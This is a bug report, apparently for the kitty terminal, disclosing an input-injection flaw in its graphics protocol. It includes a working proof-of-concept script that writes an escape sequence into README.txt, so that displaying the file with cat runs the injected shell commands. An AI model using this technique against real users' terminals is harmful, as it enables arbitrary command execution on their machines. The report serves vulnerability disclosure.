Description
Describe the bug
When attempting to load an image file, the graphic protocol can reply with a message containing the faulty image filename in a decoded form (i.e. not base64) thus allowing for arbitrary input to be inserted.
To Reproduce
Here is a simple example showing how an attacker could craft a README.txt file that would cause the execution of arbitrary commands when displayed using cat on kitty.
# Creation of a base64 encoded fake filename containing the shell commands
# to be executed. Here, I am attempting to execute "date" and "uname -a".
# The commands must be separated by \r (to emulate the RETURN key).
COMMANDS=$(echo -ne "\rdate\runame -a\r" | base64 -w 0)
# Creation of a regular text file containing the input injection via escape sequence
echo -en "\e_Gi=666,f=100,t=f;$COMMANDS\e\\" > README.txtIn Kitty, run cat README.txt from the shell prompt to perform the input injection
(bash) ls -l README.txt
-rw-r--r-- 1 xxxxxxx xxxxxxxxx 53 Nov 29 07:01 README.txt
(bash) cat README.txt
(bash) README.txtGi=666;EBADF:Failed to open file
bash: README.txtGi=666: command not found
bash: EBADF:Failed: command not found
(bash) date
Sun 29 Nov 2020 07:18:56 AM CET
(bash) uname -a
Linux brin 5.8.0-2-amd64 #1 SMP Debian 5.8.10-1 (2020-09-19) x86_64 GNU/Linux
(bash) for graphics transmission with error: [2] No such file or directoryRemark: The other failed commands are caused by the rest of the escape reply. The input sequence ESC+underscore is typically interpreted by readline as the command yank-last-arg thus causing the last argument of the last command (in that case, that is "README.txt") to be inserted.